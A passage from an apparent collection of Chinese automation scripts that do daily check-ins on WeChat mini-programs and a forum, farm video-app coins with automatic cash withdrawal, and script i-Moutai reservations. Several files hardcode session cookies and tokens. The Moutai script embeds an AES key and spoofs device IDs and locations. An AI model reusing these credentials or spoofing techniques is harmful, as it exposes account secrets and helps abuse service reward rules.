 7 | 签到换tt 一天一次
 8 | cron: 0 8 * * *
 9 | 
10 | """
11 | import requests,json,time,os
12 | import concurrent.futures
13 | 
14 | def sign(account):
15 |         token=account
16 |         url = "https://durex.ixiliu.cn/api/sign/applyV2"
17 |         headers = {
18 |         "Host": "durex.ixiliu.cn",
19 |         "Connection": "keep-alive",
20 |         "platform": "MP-WEIXIN",
21 |         "content-type": "application/json;charset=utf-8",
22 |         "Access-Token": token,
23 |         "Accept-Encoding": "gzip,compress,br,deflate",
24 |         "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 15_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.37(0x18002520) NetType/4G Language/zh_CN",
25 |         "Referer": "https://servicewechat.com/wxe11089c85860ec02/21/page-frame.html"
26 |         }
27 |         response = requests.get(url=url,headers=headers).json()
28 |         msg=response['message']
29 |         print(msg)
30 | 
31 | # 从环境变量获取多个账号信息
32 | accounts = os.environ.get('dlstoken').split('#')
33 | 
34 | with concurrent.futures.ThreadPoolExecutor() as executor:
35 |     executor.map(sign, accounts)
36 | 


--------------------------------------------------------------------------------
/fn_sign.js:
--------------------------------------------------------------------------------
 1 | const axios = require('axios');
 2 | const cheerio = require('cheerio');
 3 | 
 4 | // 填写对应的 Cookie 值
 5 | const cookies = {
 6 |     'pvRK_2132_saltkey': 'jWG6x396',
 7 |     'pvRK_2132_auth': '7085KUTUfbd6ecNiaU3uQS0fyi74g9mrMKCKuIwLT3XUEjo29fLZULjf3R%2FD4ib8Zm8EFCQH767F8MTgEefRJVtmBA',
 8 | };
 9 | 
10 | const cookieHeader = Object.entries(cookies).map(([key, value]) => `${key}=${value}`).join('; ');
11 | 
12 | async function signIn() {
13 |     try {
14 |     // 签到请求链接右键打卡按钮直接复制替换
15 |         const response = await axios.get('https://club.fnnas.com/plugin.php?id=zqlj_sign&sign=c13901e2', {
16 |             headers: {
17 |                 'Cookie': cookieHeader
18 |             }
19 |         });
20 | 
21 |         if (response.data.includes('恭喜您，打卡成功！')) {
22 |             console.log('打卡成功');
23 |             await getSignInInfo();
24 |         } else if (response.data.includes('您今天已经打过卡了，请勿重复操作！')) {
25 |             console.log('已经打过卡了');
26 |         } else {
27 |             console.log('打卡失败, cookies可能已经过期或站点更新.');
28 |         }
29 |     } catch (error) {
30 |         console.error('签到请求失败:', error);
31 |     }
32 | }
33 | 
34 | async function getSignInInfo() {
35 |     try {
36 |         const response = await axios.get('https://club.fnnas.com/plugin.php?id=zqlj_sign', {
37 |             headers: {
38 |                'Cookie': cookieHeader
39 |             }
40 |         });
41 | 
42 |         const $ = cheerio.load(response.data);
43 |         const content = [];
44 | 
45 |         const patterns = [
46 |            { name: '最近打卡', selector: 'li:contains("最近打卡")' },
47 |            { name: '本月打卡', selector: 'li:contains("本月打卡")' },
48 |            { name: '连续打卡', selector: 'li:contains("连续打卡")' },
49 |            { name: '累计打卡', selector: 'li:contains("累计打卡")' },
50 |            { name: '累计奖励', selector: 'li:contains("累计奖励")' },
51 |            { name: '最近奖励', selector: 'li:contains("最近奖励")' },
52 |            { name: '当前打卡等级', selector: 'li:contains("当前打卡等级")' }
53 |         ];
54 | 
55 |         patterns.forEach(pattern => {
56 |           const element = $(pattern.selector).text();
57 |           if (element) {
58 |               content.push(`${pattern.name}: ${element.replace(/.*：/, '').trim()}`);
59 |             }
60 |         });
61 | 
62 |        console.log(content.join('\n'));
63 | 
64 |     } catch (error) {
65 |        console.error('获取打卡信息失败:', error);
66 |     }
67 | }
68 | 
69 | signIn();
70 | 


--------------------------------------------------------------------------------
/gas-price.js:
--------------------------------------------------------------------------------
 1 | /******************************************
 2 |  *转自https://raw.githubusercontent.com/RS0485/network-rules/main/scripts/gas-price.js
 3 |  *感谢 @Peng-YM, @Keywos
 4 |  *把'fujian'修改为其他地区拼音，支持省/市/区'fujian/fuzhou/gulou'
 5 |  *因为陕西和山西拼音一样，陕西需要改为"shanxi-3"
 6 | ******************************************
 7 | 
 8 | BoxJs重写链接：https://raw.githubusercontent.com/chavyleung/scripts/master/box/rewrite/boxjs.rewrite.quanx.conf
 9 | BoxJs网址链接：https://boxjs.com 或者新版：https://dompling.github.io/boxjs.react
10 | BoxJs订阅地址：https://raw.githubusercontent.com/Toperlock/Quantumult/main/boxjs.json
11 | 
12 | [task_local]
13 | 0 8 * * * https://raw.githubusercontent.com/thisThink/mycode/main/gas-price.js, tag=吉林油价, img-url=https://raw.githubusercontent.com/Toperlock/Quantumult/main/icon/oil.png, enabled=true
14 | ******************************************/
15 | 
16 | const $ = API("查询油价");
17 | // 默认安徽
18 | var region = $.read("#oilArea") || "jilin";
19 | 
20 | $.http.get({
21 |     url: `http://m.qiyoujiage.com/${region}.shtml`,
22 |     headers:{
23 |         'referer': 'http://m.qiyoujiage.com/',
24 |         'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36'
25 |     }
26 |   })
27 |     .then((response) => {
28 |         const data = response.body;
29 |         const reg_price = /<dl>[\s\S]+?<dt>(.*油)<\/dt>[\s\S]+?<dd>(.*)\(元\)<\/dd>/gm;
30 |         var prices = [];
31 |         var m = null;
32 |         while ((m = reg_price.exec(data)) !== null) {
33 |             // This is necessary to avoid infinite loops with zero-width matches
34 |             if (m.index === reg_price.lastIndex) {
35 |                 reg_price.lastIndex++;
36 |             }
37 |             prices.push({
38 |                 name: m[1],
39 |                 value: `${m[2]} 元/L`
40 |             });
41 |         }
42 |         
43 |         var adjust_date = '';
44 |         var adjust_trend = '';
45 |         var adjust_value = '';
46 |         
47 |         const reg_adjust_tips = /<div class="tishi"> <span>(.*)<\/span><br\/>([\s\S]+?)<br\/>/;
48 |         const adjust_tips_match = data.match(reg_adjust_tips);
49 |         if (adjust_tips_match && adjust_tips_match.length === 3) {
50 |             adjust_date = adjust_tips_match[1].split('价')[1].slice(0, -2);
51 |             adjust_value = adjust_tips_match[2];
52 |             adjust_trend = (adjust_value.indexOf('下调') > -1 || adjust_value.indexOf('下跌') > -1) ? '↓' : '↑';
53 |             const adjust_value_re = /([\d\.]+)元\/升-([\d\.]+)元\/升/;
54 |             const adjust_value_re2 = /[\d\.]+元\/吨/;
55 |             const adjust_value_match = adjust_value.match(adjust_value_re);
56 |             if (adjust_value_match && adjust_value_match.length === 3) {
57 |                 adjust_value = `${adjust_value_match[1]}-${adjust_value_match[2]}元/L`;
58 |             } else {
59 |                 const adjust_value_match2 = adjust_value.match(adjust_value_re2);
60 |                 if (adjust_value_match2) {
61 |                     adjust_value = adjust_value_match2[0];
62 |                 }
63 |             }
64 |         }
65 |         
66 |         const friendly_tips = `${adjust_date}调整\t${adjust_trend} ${adjust_value}`;
67 |         if (prices.length !== 4) {
68 |             console.log(`解析油价信息失败, URL=${query_addr}`);
69 |             $.notify("油价查询", "解析失败", "请检查脚本或反馈给开发者")
70 |         } else {
71 |             const content = `${prices[0].name}\t\t\t${prices[0].value}\n${prices[1].name}\t\t\t${prices[1].value}\n${prices[2].name}\t\t\t${prices[2].value}\n${prices[3].name}\t\t\t${prices[3].value}`;
72 |             $.notify("油价查询", `${friendly_tips}`, content);
73 |             console.log("油价查询成功")
74 |             //console.log(`油价查询结果：\n${friendly_tips}\n${content}`)
75 |         }
76 |     })
77 |     .catch((error) => {
78 |         console.log(`查询油价信息失败, URL=${query_addr}`);
79 |         $.notify("油价查询", "请求失败", "请检查网络或反馈给开发者")
80 |     })
81 |     .then(() => $.done());
82 | 
83 | // prettier-ignore: https://github.com/Peng-YM/QuanX/blob/master/Tools/OpenAPI/README.md
84 | /*********************************** API *************************************/
85 | function ENV(){const e="undefined"!=typeof $task,t="undefined"!=typeof $loon,s="undefined"!=typeof $httpClient&&!t,i="function"==typeof require&&"undefined"!=typeof $jsbox;return{isQX:e,isLoon:t,isSurge:s,isNode:"function"==typeof require&&!i,isJSBox:i,isRequest:"undefined"!=typeof $request,isScriptable:"undefined"!=typeof importModule}}function HTTP(e={baseURL:""}){const{isQX:t,isLoon:s,isSurge:i,isScriptable:n,isNode:o}=ENV(),r=/https?:\/\/(www\.)?[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_\+.~#?&\/\/=]*)/;const u={};return["GET","POST","PUT","DELETE","HEAD","OPTIONS","PATCH"].forEach(l=>u[l.toLowerCase()]=(u=>(function(u,l){l="string"==typeof l?{url:l}:l;const h=e.baseURL;h&&!r.test(l.url||"")&&(l.url=h?h+l.url:l.url);const a=(l={...e,...l}).timeout,c={onRequest:()=>{},onResponse:e=>e,onTimeout:()=>{},...l.events};let f,d;if(c.onRequest(u,l),t)f=$task.fetch({method:u,...l});else if(s||i||o)f=new Promise((e,t)=>{(o?require("request"):$httpClient)[u.toLowerCase()](l,(s,i,n)=>{s?t(s):e({statusCode:i.status||i.statusCode,headers:i.headers,body:n})})});else if(n){const e=new Request(l.url);e.method=u,e.headers=l.headers,e.body=l.body,f=new Promise((t,s)=>{e.loadString().then(s=>{t({statusCode:e.response.statusCode,headers:e.response.headers,body:s})}).catch(e=>s(e))})}const p=a?new Promise((e,t)=>{d=setTimeout(()=>(c.onTimeout(),t(`${u} URL: ${l.url} exceeds the timeout ${a} ms`)),a)}):null;return(p?Promise.race([p,f]).then(e=>(clearTimeout(d),e)):f).then(e=>c.onResponse(e))})(l,u))),u}function API(e="untitled",t=!1){const{isQX:s,isLoon:i,isSurge:n,isNode:o,isJSBox:r,isScriptable:u}=ENV();return new class{constructor(e,t){this.name=e,this.debug=t,this.http=HTTP(),this.env=ENV(),this.node=(()=>{if(o){return{fs:require("fs")}}return null})(),this.initCache();Promise.prototype.delay=function(e){return this.then(function(t){return((e,t)=>new Promise(function(s){setTimeout(s.bind(null,t),e)}))(e,t)})}}initCache(){if(s&&(this.cache=JSON.parse($prefs.valueForKey(this.name)||"{}")),(i||n)&&(this.cache=JSON.parse($persistentStore.read(this.name)||"{}")),o){let e="root.json";this.node.fs.existsSync(e)||this.node.fs.writeFileSync(e,JSON.stringify({}),{flag:"wx"},e=>console.log(e)),this.root={},e=`${this.name}.json`,this.node.fs.existsSync(e)?this.cache=JSON.parse(this.node.fs.readFileSync(`${this.name}.json`)):(this.node.fs.writeFileSync(e,JSON.stringify({}),{flag:"wx"},e=>console.log(e)),this.cache={})}}persistCache(){const e=JSON.stringify(this.cache,null,2);s&&$prefs.setValueForKey(e,this.name),(i||n)&&$persistentStore.write(e,this.name),o&&(this.node.fs.writeFileSync(`${this.name}.json`,e,{flag:"w"},e=>console.log(e)),this.node.fs.writeFileSync("root.json",JSON.stringify(this.root,null,2),{flag:"w"},e=>console.log(e)))}write(e,t){if(this.log(`SET ${t}`),-1!==t.indexOf("#")){if(t=t.substr(1),n||i)return $persistentStore.write(e,t);if(s)return $prefs.setValueForKey(e,t);o&&(this.root[t]=e)}else this.cache[t]=e;this.persistCache()}read(e){return this.log(`READ ${e}`),-1===e.indexOf("#")?this.cache[e]:(e=e.substr(1),n||i?$persistentStore.read(e):s?$prefs.valueForKey(e):o?this.root[e]:void 0)}delete(e){if(this.log(`DELETE ${e}`),-1!==e.indexOf("#")){if(e=e.substr(1),n||i)return $persistentStore.write(null,e);if(s)return $prefs.removeValueForKey(e);o&&delete this.root[e]}else delete this.cache[e];this.persistCache()}notify(e,t="",l="",h={}){const a=h["open-url"],c=h["media-url"];if(s&&$notify(e,t,l,h),n&&$notification.post(e,t,l+`${c?"\n多媒体:"+c:""}`,{url:a}),i){let s={};a&&(s.openUrl=a),c&&(s.mediaUrl=c),"{}"===JSON.stringify(s)?$notification.post(e,t,l):$notification.post(e,t,l,s)}if(o||u){const s=l+(a?`\n点击跳转: ${a}`:"")+(c?`\n多媒体: ${c}`:"");if(r){require("push").schedule({title:e,body:(t?t+"\n":"")+s})}else console.log(`${e}\n${t}\n${s}\n\n`)}}log(e){this.debug&&console.log(`[${this.name}] LOG: ${this.stringify(e)}`)}info(e){console.log(`[${this.name}] INFO: ${this.stringify(e)}`)}error(e){console.log(`[${this.name}] ERROR: ${this.stringify(e)}`)}wait(e){return new Promise(t=>setTimeout(t,e))}done(e={}){s||i||n?$done(e):o&&!r&&"undefined"!=typeof $context&&($context.headers=e.headers,$context.statusCode=e.statusCode,$context.body=e.body)}stringify(e){if("string"==typeof e||e instanceof String)return e;try{return JSON.stringify(e,null,2)}catch(e){return"[object Object]"}}}(e,t)}
86 | /*****************************************************************************/
87 | 


--------------------------------------------------------------------------------
/gjjjhyjlb.py:
--------------------------------------------------------------------------------
 1 |  # *
 2 |  # * 项目类型：微信小程序
 3 |  # * 项目名称：顾家家居会员俱乐部
 4 |  # * 项目抓包：'phone&unionid#phone&unionid'填入变量
 5 |  # * 项目变量：gjjjhyjlb
 6 | 
 7 | import requests,os
 8 | 
 9 | def automaticLogin():
10 |     url = 'https://mc.kukahome.com/club-server/member/automaticLogin'
11 | 
12 |     headers = {
13 |         'Host': 'mc.kukahome.com',
14 |         'Connection': 'keep-alive',
15 |         'Content-Length': '216',
16 |         'AccessToken': '',
17 |         'E-Opera': '',
18 |         'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF XWEB/8447',
19 |         'Content-Type': 'application/json',
20 |         'timestamp': '1704250957555',
21 |         'xweb_xhr': '1',
22 |         'brandCode': 'K001',
23 |         'X-Customer': '',
24 |         'appid': '667516',
25 |         'sign': '68776c9ee9796c20b8240c0b6f94326f',
26 |         'Accept': '*/*',
27 |         'Sec-Fetch-Site': 'cross-site',
28 |         'Sec-Fetch-Mode': 'cors',
29 |         'Sec-Fetch-Dest': 'empty',
30 |         'Referer': 'https://servicewechat.com/wx0770280d160f09fe/161/page-frame.html',
31 |         'Accept-Encoding': 'gzip, deflate, br',
32 |         'Accept-Language': 'zh-CN,zh;q=0.9',
33 |     }
34 | 
35 |     data = {"identityType":"mobile","identityValue":member,"type2":"wechat-unionid","value2":"","source":"顾家小程序","contentName":"","openid":"","unionid":unionid}
36 | 
37 |     response = requests.post(url, headers=headers, json=data).json()
38 |     return response['data']['AccessToken'],response['data']['membership']['id'],response['data']['membership']['phone']
39 | 
40 | def sign():
41 |     url = 'https://mc.kukahome.com/club-server/front/member/signIn'
42 | 
43 |     headers = {
44 |         'Host': 'mc.kukahome.com',
45 |         'Connection': 'keep-alive',
46 |         'Content-Length': '78',
47 |         'AccessToken': token,
48 |         'E-Opera': '',
49 |         'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF XWEB/8447',
50 |         'Content-Type': 'application/json',
51 |         'timestamp': '1704252084361',
52 |         'xweb_xhr': '1',
53 |         'brandCode': 'K001',
54 |         'X-Customer': userId,
55 |         'appid': '667516',
56 |         'sign': '5e0d8b77942218e32b7aeb5ed5c1501a',
57 |         'Accept': '*/*',
58 |         'Sec-Fetch-Site': 'cross-site',
59 |         'Sec-Fetch-Mode': 'cors',
60 |         'Sec-Fetch-Dest': 'empty',
61 |         'Referer': 'https://servicewechat.com/wx0770280d160f09fe/161/page-frame.html',
62 |         'Accept-Encoding': 'gzip, deflate, br',
63 |         'Accept-Language': 'zh-CN,zh;q=0.9',
64 |     }
65 | 
66 |     data = {"identityType":"mobile","identityValue":phone,"membershipId":userId}
67 | 
68 |     response = requests.post(url, headers=headers, json=data).json()
69 |     if response['data'] != None:
70 |         print('签到成功')
71 |     else:
72 |         print(response['message'])
73 | 
74 | 
75 | if __name__ == '__main__':
76 |     print('没能力的加群：891033223')
77 |     if os.environ.get("gjjjhyjlb"):
78 |         tokenString = os.environ["gjjjhyjlb"]
79 |         if tokenString != '':
80 |             apitokenList = tokenString.split("#")
81 |         else:
82 |             print('没有配置gjjjhyjlb')
83 |             exit()
84 |     else:
85 |         print('没有配置gjjjhyjlb')
86 |         exit()
87 | 
88 |     for acc in apitokenList:
89 |         member,unionid  = acc.split('&')
90 |         token,userId,phone = automaticLogin()
91 |         sign()


--------------------------------------------------------------------------------
/gshvyb.js:
--------------------------------------------------------------------------------
 1 | var request = require('request');
 2 | var options = {
 3 |    'method': 'GET',
 4 |    'url': 'http://app.ccgh.org.cn/api/service/verify.jsp?token=14F11F9DAFB91E6F3298A65519E7B390&service_id=1489&service_id=1489%20HTTP/1.1%20Host:%20app.ccgh.org.cn%20Connection:%20keep-alive%20Accept:%20application/json,%20text/plain,%20%2A/%2A%20User-Agent:%20Mozilla/5.0%20%28Linux;%20Android%2012;%20SM-G9730%20Build/SP1A.210812.016;%20wv%29%20AppleWebKit/537.36%20%28KHTML,%20like%20Gecko%29%20Version/4.0%20Chrome/124.0.6367.123%20Mobile%20Safari/537.36%20Origin:%20http://localhost%20X-Requested-With:%20cn.com.sinosoft%20Referer:%20http://localhost/%20Accept-Encoding:%20gzip,%20deflate%20Accept-Language:%20zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7',
 5 |    'headers': {
 6 |       'Host': ' app.ccgh.org.cn',
 7 |       'Connection': ' keep-alive',
 8 |       'Accept': ' application/json, text/plain, */*',
 9 |       'User-Agent': ' Mozilla/5.0 (Linux; Android 12; SM-G9730 Build/SP1A.210812.016; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/124.0.6367.123 Mobile Safari/537.36',
10 |       'Origin': ' http://localhost',
11 |       'X-Requested-With': ' cn.com.sinosoft',
12 |       'Referer': ' http://localhost/',
13 |       'Accept-Language': ' zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7',
14 |       'Cookie': 'JSESSIONID=0001-irSjxvwFHJ_vd6TEIvw83i:J8EBTV1MU'
15 |    }
16 | };
17 | request(options, function (error, response) {
18 |    if (error) throw new Error(error);
19 |    console.log(response.body);
20 | });


--------------------------------------------------------------------------------
/hgdsp.py:
--------------------------------------------------------------------------------
  1 | '''
  2 | 火锅视频 v1.3 update add 提现功能
  3 | 入口 http://mtw.so/69gPPh
  4 | 变量 hgsp_cookie 账号和密码以@隔开 账号@密码
  5 | 多账号以&隔开 账号1@密码1 & 账号2@密码2
  6 | 开启自动提现功能 设置变量 export hgsp_wd="true" 默认不开启
  7 | 开启自动兑换储蓄金 设置变量 export hgsp_es="true" 默认不开启
  8 | 
  9 | '''
 10 | import requests
 11 | import time
 12 | import os
 13 | import sys
 14 | 
 15 | 
 16 | class HgSp():
 17 |     VIDEO_F:int = 13 #视频次数
 18 |     def __init__(self,account,hgsp_wd,hgsp_es,video_f=VIDEO_F):
 19 |         account=account.split('@')
 20 |         self.video_f=video_f
 21 |         self.hgsp_wd=hgsp_wd
 22 |         self.hgsp_es=hgsp_es
 23 |         self.session = requests.Session()
 24 |         self.headers={
 25 |             'os': 'android',
 26 |             'Version-Code': '1',
 27 |             'Client-Version': '1.0.0',
 28 |             'datetime': '2023-10-20 16:19:59.694',
 29 |             'Content-Type': 'application/x-www-form-urlencoded',
 30 |             'Host': 'www.huoguo.video',
 31 |             'Connection': 'Keep-Alive',
 32 |             'User-Agent': 'okhttp/3.12.13',
 33 |         }
 34 |         self.data = {
 35 |             'login': account[0],
 36 |             'type': '2',
 37 |             'verifiable_code': '',
 38 |             'password': account[1]
 39 |         }
 40 | 
 41 |     # 登录
 42 |     def login(self):
 43 |         login_response = self.session.post('http://www.huoguo.video/api/v2/auth/login', headers=self.headers, data=self.data).json()
 44 |         if "access_token" in login_response:
 45 |             token = login_response['access_token']
 46 |             del self.headers['Content-Type']
 47 |             self.headers['Authorization']=f"Bearer {token}"
 48 |             response = self.session.get('http://www.huoguo.video/api/v2/user', headers=self.headers).json()
 49 |             print(f"✅✅登录成功,当前用户:{response['name']}")
 50 |             self.main()
 51 |         else:
 52 |             print(f"{login_response['message']}")
 53 | 
 54 |     # 观看视频
 55 |     def watch_video(self):
 56 |         for i in range(self.video_f):
 57 |             response = self.session.get('http://www.huoguo.video/api/v2/hgb/recive', headers=self.headers).json()
 58 |             print(f'【观看视频】{response["message"]}')
 59 |             if '火锅币' not in response['message']:
 60 |                 break
 61 |             time.sleep(16)
 62 |         self.get_today_info()
 63 | 
 64 |     # 获取今日信息
 65 |     def get_today_info(self):
 66 |         response = self.session.get('http://www.huoguo.video/api/v2/hgb/detail', headers=self.headers).json()
 67 |         self.coin = response['coin']
 68 |         self.today_coin = response['today_coin']
 69 |         print(f"【观看视频】今日获得火锅币:{self.today_coin},当前总火锅币:{self.coin}")
 70 | 
 71 |     # 兑换储蓄金
 72 |     def exchange_saving(self):
 73 |         data = {'count': self.coin}
 74 |         response = self.session.post('http://www.huoguo.video/api/v2/hgb/exchange-savings', headers=self.headers, data=data).json()
 75 |         if "amount" in response:
 76 |             print(f"【兑换储蓄金】获得储蓄金{response['amount']}")
 77 |         else:
 78 |             print(f"【兑换储蓄金】{response['message']}")
 79 | 
 80 |     # 查询信息
 81 |     def get_info(self):
 82 |         response = self.session.get('http://www.huoguo.video/api/v2/hgb/piggy', headers=self.headers).json()
 83 |         self.balance = response['balance']
 84 |         print(f"【查询信息】当前总储蓄金:{response['saving']} 可提现余额为：{response['balance']}")
 85 | 
 86 |     # 提现
 87 |     def withdraw(self):
 88 |         balance_float = float(self.balance)
 89 |         amount = "{:.2f}".format(balance_float)
 90 |         data = {'amount': amount}
 91 |         response = self.session.post("http://www.huoguo.video/api/v2/wallet/withdraw", headers=self.headers,data=data).json()
 92 |         print(response)
 93 | 
 94 | 
 95 | 
 96 |     def main(self):
 97 |         self.watch_video()
 98 |         if self.hgsp_es == 'true':
 99 |             self.exchange_saving()
100 |         self.get_info()
101 |         if self.hgsp_wd == 'true':
102 |             self.withdraw()
103 | 
104 | 
105 | 
106 | # 主程序
107 | def main():
108 |     global account_list
109 |     account_list=os.getenv("hgsp_cookie").split('&')
110 |     hgsp_wd=os.getenv("hgsp_wd")
111 |     hgsp_es=os.getenv("hgsp_es")
112 |     if not account_list:
113 |         print('没有获取到账号!')
114 |         return
115 |     print(f'⭐⭐获取到{len(account_list)}个账号')
116 |     for index,account in enumerate(account_list):
117 |         print(f'=================== 第{index + 1}个账号 ======================')
118 |         HgSp(account,hgsp_wd,hgsp_es).login()
119 | 
120 | if __name__ == '__main__':
121 |     main()
122 |     sys.exit()
123 | 


--------------------------------------------------------------------------------
/jdmksign.sh:
--------------------------------------------------------------------------------
1 | curl --location --request GET 'http://dl2.jdmk.xyz:1170/user/signin/thisPunk' \
2 | --header 'Cookie: satoken=23f3fd6e-7946-4303-83ea-7d24f2c8bbf1' \
3 | --header 'User-Agent: Apifox/1.0.0 (https://apifox.com)' \
4 | --header 'Accept: */*' \
5 | --header 'Host: dl2.jdmk.xyz:1170' \
6 | --header 'Connection: keep-alive'


--------------------------------------------------------------------------------
/maotai.py:
--------------------------------------------------------------------------------
  1 | import base64
  2 | import datetime
  3 | import json
  4 | import math
  5 | import os
  6 | import random
  7 | import time
  8 | 
  9 | import requests
 10 | from Crypto.Cipher import AES
 11 | 
 12 | from dailycheckin import CheckIn
 13 | 
 14 | 
 15 | class Encrypt:
 16 |     def __init__(self, key, iv):
 17 |         self.key = key.encode("utf-8")
 18 |         self.iv = iv.encode("utf-8")
 19 | 
 20 |     def pkcs7padding(self, text):
 21 |         """明文使用PKCS7填充"""
 22 |         bs = 16
 23 |         length = len(text)
 24 |         bytes_length = len(text.encode("utf-8"))
 25 |         padding_size = length if (bytes_length == length) else bytes_length
 26 |         padding = bs - padding_size % bs
 27 |         padding_text = chr(padding) * padding
 28 |         self.coding = chr(padding)
 29 |         return text + padding_text
 30 | 
 31 |     def aes_encrypt(self, content):
 32 |         """AES加密"""
 33 |         cipher = AES.new(self.key, AES.MODE_CBC, self.iv)
 34 |         content_padding = self.pkcs7padding(content)
 35 |         encrypt_bytes = cipher.encrypt(content_padding.encode("utf-8"))
 36 |         result = str(base64.b64encode(encrypt_bytes), encoding="utf-8")
 37 |         return result
 38 | 
 39 |     def aes_decrypt(self, content):
 40 |         """AES解密"""
 41 |         cipher = AES.new(self.key, AES.MODE_CBC, self.iv)
 42 |         content = base64.b64decode(content)
 43 |         text = cipher.decrypt(content).decode("utf-8")
 44 |         return text.rstrip(self.coding)
 45 | 
 46 | 
 47 | class IMAOTAI(CheckIn):
 48 |     name = "i茅台"
 49 | 
 50 |     def __init__(self, check_item):
 51 |         self.check_item = check_item
 52 |         self.RESERVE_RULE = 0
 53 |         self.mt_r = "clips_OlU6TmFRag5rCXwbNAQ/Tz1SKlN8THcecBp/"
 54 |         self.ITEM_MAP = {
 55 |             "11318": "53%vol 500ml贵州茅台酒（乙巳蛇年）",
 56 |             "11317": "53%vol 500ml贵州茅台酒（笙乐飞天）",
 57 |             "11319": "53%vol 375mlx2贵州茅台酒（乙巳蛇年）",
 58 |             "2478": "53%vol 500ml贵州茅台酒（珍品）",
 59 |             "11240": "53%vol 500ml 茅台1935·中国国家地理文创酒（喜逢大运河）",
 60 |         }
 61 |         self.ITEM_CODES = ["11318", "11319"]
 62 |         AES_KEY = "qbhajinldepmucsonaaaccgypwuvcjaa"
 63 |         AES_IV = "2018534749963515"
 64 |         self.encrypt = Encrypt(key=AES_KEY, iv=AES_IV)
 65 | 
 66 |         self.mt_version = json.loads(
 67 |             requests.get("https://itunes.apple.com/cn/lookup?id=1600482450").text
 68 |         )["results"][0]["version"]
 69 |         self.headers = {}
 70 |         self.header_context = """
 71 | MT-Lat: 28.499562
 72 | MT-K: 1675213490331
 73 | MT-Lng: 102.182324
 74 | Host: app.moutai519.com.cn
 75 | MT-User-Tag: 0
 76 | Accept: */*
 77 | MT-Network-Type: WIFI
 78 | MT-Token: 1
 79 | MT-Info: 028e7f96f6369cafe1d105579c5b9377
 80 | MT-Device-ID: 2F2075D0-B66C-4287-A903-DBFF6358342A
 81 | MT-Bundle-ID: com.moutai.mall
 82 | Accept-Language: en-CN;q=1, zh-Hans-CN;q=0.9
 83 | MT-Request-ID: 167560018873318465
 84 | MT-APP-Version: 1.3.7
 85 | User-Agent: iOS;16.3;Apple;?unrecognized?
 86 | MT-R: clips_OlU6TmFRag5rCXwbNAQ/Tz1SKlN8THcecBp/HGhHdw==
 87 | Content-Length: 93
 88 | Accept-Encoding: gzip, deflate, br
 89 | Connection: keep-alive
 90 | Content-Type: application/json
 91 | userId: 2
 92 | """
 93 | 
 94 |     def init_headers(
 95 |         self,
 96 |         user_id: str = "1",
 97 |         token: str = "2",
 98 |         lat: str = "29.83826",
 99 |         lng: str = "119.74375",
100 |     ):
101 |         for k in self.header_context.strip().split("\n"):
102 |             temp_l = k.split(": ")
103 |             dict.update(self.headers, {temp_l[0]: temp_l[1]})
104 |         dict.update(self.headers, {"userId": user_id})
105 |         dict.update(self.headers, {"MT-Token": token})
106 |         dict.update(self.headers, {"MT-Lat": lat})
107 |         dict.update(self.headers, {"MT-Lng": lng})
108 |         dict.update(self.headers, {"MT-APP-Version": self.mt_version})
109 | 
110 |     def get_current_session_id(self):
111 |         day_time = int(time.mktime(datetime.date.today().timetuple())) * 1000
112 |         my_url = f"https://static.moutai519.com.cn/mt-backend/xhr/front/mall/index/session/get/{day_time}"
113 |         responses = requests.get(my_url)
114 |         if responses.status_code != 200:
115 |             print(
116 |                 f"get_current_session_id : params : {day_time}, response code : {responses.status_code}, response body : {responses.text}"
117 |             )
118 |         current_session_id = responses.json()["data"]["sessionId"]
119 |         dict.update(self.headers, {"current_session_id": str(current_session_id)})
120 | 
121 |     def get_map(self, lat: str = "28.499562", lng: str = "102.182324"):
122 |         p_c_map = {}
123 |         url = "https://static.moutai519.com.cn/mt-backend/xhr/front/mall/resource/get"
124 |         headers = {
125 |             "X-Requested-With": "XMLHttpRequest",
126 |             "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0_1 like Mac OS X)",
127 |             "Referer": "https://h5.moutai519.com.cn/gux/game/main?appConfig=2_1_2",
128 |             "Client-User-Agent": "iOS;16.0.1;Apple;iPhone 14 ProMax",
129 |             "MT-R": "clips_OlU6TmFRag5rCXwbNAQ/Tz1SKlN8THcecBp/HGhHdw==",
130 |             "Origin": "https://h5.moutai519.com.cn",
131 |             "MT-APP-Version": self.mt_version,
132 |             "MT-Request-ID": f"{int(time.time() * 1000)}{random.randint(1111111, 999999999)}{int(time.time() * 1000)}",
133 |             "Accept-Language": "zh-CN,zh-Hans;q=1",
134 |             "MT-Device-ID": f"{int(time.time() * 1000)}{random.randint(1111111, 999999999)}{int(time.time() * 1000)}",
135 |             "Accept": "application/json, text/javascript, */*; q=0.01",
136 |             "mt-lng": f"{lng}",
137 |             "mt-lat": f"{lat}",
138 |         }
139 |         res = requests.get(url, headers=headers)
140 |         mtshops = res.json().get("data", {}).get("mtshops_pc", {})
141 |         urls = mtshops.get("url")
142 |         r = requests.get(urls)
143 |         for k, v in dict(r.json()).items():
144 |             provinceName = v.get("provinceName")
145 |             cityName = v.get("cityName")
146 |             if not p_c_map.get(provinceName):
147 |                 p_c_map[provinceName] = {}
148 |             if not p_c_map[provinceName].get(cityName, None):
149 |                 p_c_map[provinceName][cityName] = [k]
150 |             else:
151 |                 p_c_map[provinceName][cityName].append(k)
152 | 
153 |         return p_c_map, dict(r.json())
154 | 
155 |     def max_shop(self, city, item_code, p_c_map, province, shops):
156 |         max_count = 0
157 |         max_shop_id = "0"
158 |         shop_ids = p_c_map[province][city]
159 |         for shop in shops:
